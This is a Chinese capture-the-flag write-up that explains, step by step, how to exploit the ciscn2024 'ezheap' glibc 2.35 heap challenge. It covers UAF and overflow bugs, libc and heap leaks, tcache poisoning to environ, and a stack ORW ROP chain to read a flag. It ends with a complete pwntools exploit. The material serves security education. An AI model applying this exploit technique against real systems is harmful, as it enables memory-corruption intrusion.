利用environ变量实现堆题打栈--以ciscn2024 ezheap为例

这道题是2.35的堆题,开了sandbox,只能使用orw的形式,题目本身并不复杂,很适合高版本的堆利用入门,这篇文章将会以一个没有接触过高版本堆利用的新人视角,来从头开始,仔细了解这道题目

题目函数分析

主函数部分


作为一个接触高版本堆的pwn手,我觉得简单的逆向应该不会是难度,所以这里放的就是修改完函数名字的主函数部分,简单的逻辑应该是可以理解的

利用工具,看一下sandbox

可以看到,只给了orw和mprotect函数,所以这道题也很简单了,两个思路,一个是利用shellcode,另一个则是执行orw的rop链,但是不论是哪一种,都需要劫持程序的执行流,这些暂且不表,先把整个程序分析完。

add函数


函数也是经过改名之后的,首先是一个循环,遍历i从0到79,满足i小于等于79并且chunk_list中第i+1项不是0,就会接着加一,否则i就会停下来,看名字也知道,这个其实就是记录chunk的一个数组,存的是chunk的地址,那这个循环是干什么的呢

由于最开始chunk_list里面都是0,所以我们申请堆块的序号,都是从0开始的,也就是这个i,本质上就是idx,申请4个堆块,序号分别就是0,1,2,3。那我们释放先释放2号堆块,再释放0号堆块,在释放完成后,我们再申请堆块的时候,不管申请多大的堆块,这个时候,这个堆块的序号就是0,再申请就是2号,再申请就会是4号,也就是只要我们释放了堆块,那这个堆块的序号就会被拿出来,下次申请堆块的时候,把这个序号按照由小到大,给与我们新的堆块,这一点很重要,懂了这一点,我们才可以操作自己想操作的堆块

除此之外,add函数会申请一个不大于0x501的堆块,size由自己决定,然后将堆块置零,最后填入数据,没有别的漏洞了,我们把目光放到接下来的函数

delete函数

这里面有一个坑,如果你不注意的话,会以为没有uaf漏洞,但是实际情况是,这里有一个uaf,仔细观察,我们free的是void**类型的一个数据,而置零的呢,其实是我们的数组,这一点很重要。

edit函数

这个函数漏洞就大了,因为我们输入的长度由我们自己控制,所以即使堆块只有0x100,也可以写入0x500大小的数据,这一点可以说是最重要的了

show函数

看一下show函数,使用的是printf函数,这个函数遇到0会停止,换一种说法,只要不遇到0,就会一直打印下午,这个后面也是有用的

题目总结及思路分析

我们来总结一下,题目本身的漏洞点在uaf和数据溢出,除此之外没有什么好说的了

但是重点是这道题目的版本是2.35,可以说是最高的版本之一,我在这里不得不介绍一些glibc的保护,由于篇幅有限,我这里只举例和题目有关的保护,并且对其进行分析

将遇到的保护

tcachebin堆指针异或加密(glibc-2.32引入)

可以看到,这个保护是对于tcachebins的保护,tcachebins里面存放的是fd指针,但是在2.32之后,在我们的堆里面,堆的fd指针是经历了一次加密,把加密的数据放在了堆的fd,同时在放入tcachebins中的时候,会进行一次解密,解密的数据就是正常的fd指针,那这是怎么加密的呢

首先存放在堆里面的指针,会把当前堆块的地址先右移12位,也就是去掉后面三个字节,然后找到fd指向的堆块地址,注意,这里的地址的data段的地址,然后将这两个数据异或加密,加密后的数据当做fd,放在堆块中,也就是如果我们现在向修改fd的话,必须要修改成(heap_addr>>12)^(target_addr-0x10)

听起来很麻烦,但是实际情况是,我们更好泄露堆地址了

为什么这么说,这是因为,在tcachebins中,当前链表中只有一个堆块的时候,我们的fd虽然不存在,但是我们会默认为0,这个时候,堆块里面存放的其实就是当前堆块的地址,只不过去除了后面三位,这就有利于我们泄露当前堆块的地址

tcache 中取出 chunk 地址对齐检查(glibc-2.32引入)

这一个保护也是来自glibc-2.32,和上面的保护来自同一版本,可以说,这两个保护就是2.32主要更改的地方了。

这个保护是什么意思呢,在glibc2.27之后,为了程序执行的速度,加入了tcachebins,也正是因为速度,我们伪造tcachebins里面的指针,程序并不会像最初2.23的fastbin一样,进行size的确认,也就是理论上说,tcachebins申请到哪里都没关系,实际情况确实是这样,在2.32之前我们都可以随意申请,而在2.32之后,添加了一种保护,它要求你申请是size的最后一个字节一定要是00,不然就会报错退出

malloc(): unaligned tcache chunk detected

这一点就会给我们造成麻烦,虽然遇到的很少,但是一旦发生了这种报错,也是要认识的

hook函数的消失

在2.34之后,堆上控制程序执行流的工具又少了,包括malloc_hook在内的几个hook函数都消失了,这就意味着我们没有办法再用他们去控制程序执行流。

思路分析

这道题的思路很多,但是归根结底是控制程序执行流,而在这之上,主要的手段集中在io和environ,严格来说,io才是主旋律,占了一大半的写法,但是在这里我不准备介绍io的写法,因为io所需要的前置知识太多了,并且在利用io之后,又会有好几种写法,过于复杂,这里我介绍另一种,也就是这篇文章的重点

environ变量

泄露libc

由于使用的是seccomp_rule_add函数,会有一大堆的初始堆块,有的选手会选择清理一下,但是我懒,而且我们可以申请大堆块,我们完全可以跳过这些

如果我们只申请大堆块的话,就会从top_chunk分割,这样就完全不用在乎上面哪些杂乱的堆块,所以我选择直接申请0x400大小的堆块,原因有两个

一是这个大小的堆块还在tcachebins里,方便我们的利用,另一点是完全不会受到上面那些堆块的影响,泄露libc的方法很多,我这里选择的是利用溢出,打一个off by one,如果这个方法不了解的话,建议先从前面学起

add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
dbg()
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print(hex(libc_base))

算了还是说一下吧

申请四个堆块,0123,3号防止和top_chunk合并,随后通过溢出,把1号堆块的size改成一号和二号之和,释放一号堆块的同时,也会把2号堆块放进bins,这个时候申请回一号堆块,二号堆块就位于unsortedbins里,因为2号堆块没有经过我们的free,所以这个时候可以去show,这样就能泄露libc了

也就是这个样子,这个时候2号堆块的fd和bk都是main_arena+96,由于我远程本地环境一样的,所以我这里就直接去减偏移了。

看看程序执行完之后

这样就可以泄露出libc了

泄露堆地址

记得上面我们说的吗,只要链表里面只有一个堆块,就可以直接泄露当前堆的堆地址了

add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap_base))

先看看操作的脚本,然后我再来解释,因为这个时候二号堆块位于unsortedbins里面,只要我们再申请一个一样大小的堆块,就可以把2号申请回来了,也就是我们的4号,这个时候2号4号指向的都是一个堆块,我们如释放2号堆块,它就会被链入tcachebins里,因为tcachebins大小是到0x420,我们先来看看

这就是我们的2号堆块和其中的数据

可以看到,我们链入了0x410大小的链表中,这个时候,4号堆块依旧指向的是2号堆块,我们直接show4号堆块即可泄露heap

看看效果

虽然我们并没有能够泄露出完整的堆块地址,但是这样已经够用了,虽然堆块地址会变,但是最后几位是不变的

截止到现在,我们已经成功泄露出libc和堆地址了,接下来就是泄露stack地址

泄露栈地址

pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']

heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)

payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))
add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(stack_addr))

前期的准备工作做完,就可以利用修改fd,达到任意地址写的效果了,我们还是先来简单回顾一下指针异或加密方式吧

这个时候,下面的堆块它的fd其实指向的就是上面的堆块,但是我们能看到的fd值经过了加密,这个数据其实就是(0x55555555c6e0>>12)(也就是自己堆块的地址右移12)^(0x55555555bab0-0x10)也就是应该指向的堆块的data段,我们修改fd,也要经过这样的加密,这样才能起到真正修改fd的目的

再来看看environ里面是什么

这里就是栈地址,存的是栈上面的一个变量地址,而这个地址和我们的返回地址的偏移是不变的,接着来看

我们上面的脚本中,泄露出了environ的地址,然后我们将tcachebins里面0x410大小的堆块的fd指针改到environ上面,但是注意,我们不能把environ也存到堆块里面,因为如果放进去,environ会被清零

看一下edit之后是什么样子

我们在这里可以清楚看到,已经成功修改掉fd,接下来只要连续申请两次0x410大小的堆块就可以申请到我们想申请的位置,来看看我们修改到哪了

这一段就是申请的堆块,而就在堆块后面,就是我们的environ变量

还记得show函数里面用的是什么吗,printf是不是不遇到0就不会停,我们只需要将上面这个堆块填满就能接着打印出environ里面的内容了

看看执行完是什么样子

这里就是栈地址,如果你能注意到的话,这个数据是减去了0x168的大小,那为什么呢

计算栈地址

目光回到ida里面,我们最终的目的是修改返回地址,那么修改谁的呢

我们的选择有两个,一个是add,一个是edit,这两个函数都可以达到先输入的效果,在这里我们选择修改add函数,原因在这里

我们可以在add函数里面函数结束的时候看到这个,这就意味着在这里会有一次返回,那我们就选在这里,在这里下个断点看看

我们先不减去0x168,直接接收,并且下断点看看

这个位置是刚刚泄露出environ里面存放的栈地址,我们接着往下走

看右边的,这个时候就是申请好了堆块,我们接着往下走,重点放在到leave ret的位置

先看右边,在没有减之前,我们泄露出来的地址减去0x168,就是rsp加8的位置,我们这个时候程序是即将leave ret,也就是我们把堆块申请到了这个位置,这时候canary当做我们的pre_size,而rbp则当做我们的size,后面的返回地址则就是我们的data,如果我们把data段填满我们的orw链,就可以在add完之后,执行orw,所以上面的泄露出来的地址减去了0x168,当然在没有canary的情况下,即使申请到前面也是可以的,选择这里也是因为,这边的检查可以过。

orw

接着看orw

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret)    #open(./flag,0)

orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)   #read(3,stack_addr-0x300,0x30)

orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)  #write(1,stack-0x300,0x30)

这一段orw并不稀奇,唯一要注意的便是我们要使用syscall,而不是直接调用,这是因为直接调用会破坏栈结构,我就不多说了

修改栈,执行orw

add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)

add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

io.interactive()

最后一段和上面申请到environ是一样的,重复了一下而已,把堆先申请到栈上,再在add的时候把我们的orw链写进栈上,让我们看看写入之后吧

可以看到,我们成功把orw写进了栈,并且成功修改返回地址

看看最后执行完是什么样

可以看到,我们成功把flag打印出来了

exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=process('./pwn')
#io=remote("pwn.challenge.ctf.show",28193)
elf=ELF('./pwn')
libc=ELF('libc.so.6')
def dbg():
    gdb.attach(io)
    pause()

def bug():
    gdb.attach(io,"b *$rebase(0x16cc)")

def add(size,content):
    io.recvuntil(b'choice >>')
    io.sendline(str(1))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

def free(idx):
    io.recvuntil(b'choice >>') 
    io.sendline(str(2))
    io.recv()
    io.sendline(str(idx))

def show(idx):
    io.recvuntil(b'choice >>')
    io.sendline(str(4))
    io.recv()
    io.sendline(str(idx))

def edit(idx,size,content):
    io.recvuntil(b'choice >>')
    io.sendline(str(3))
    io.recv()
    io.sendline(str(idx))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print(hex(libc_base))

add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap_base))

pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']

heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))

add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(stack_addr))

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret)    #open(./flag,0)

orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)   #read(3,stack_addr-0x300,0x30)

orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)  #write(1,stack-0x300,0x30)

add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)

add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9
io.interactive()

总结

其实environ本身并没有什么独特的地方,也不是什么很新的利用方式,在栈上用到的地方很少,因为栈本身就在程序执行流里面,也有很多别的方法泄露,但是在堆里就完全不同,这是一种更易于理解的方式,尤其在hook函数消失之后,这是一种对新手及其友好的攻击方式,它并不需要像io一样,有很多的前置知识,也不需要了解一大串的连续调用链,相较于利用hook函数,这种方法更好理解,因为它是对栈本身进行读写,而不需要我们迁移rsp,伪造栈。所以如果你是新手,environ变量是在堆里面很好用的方法之一,希望大家看完这篇文章之后,可以有所收获。

0 条评论
某人
表情
可输入 255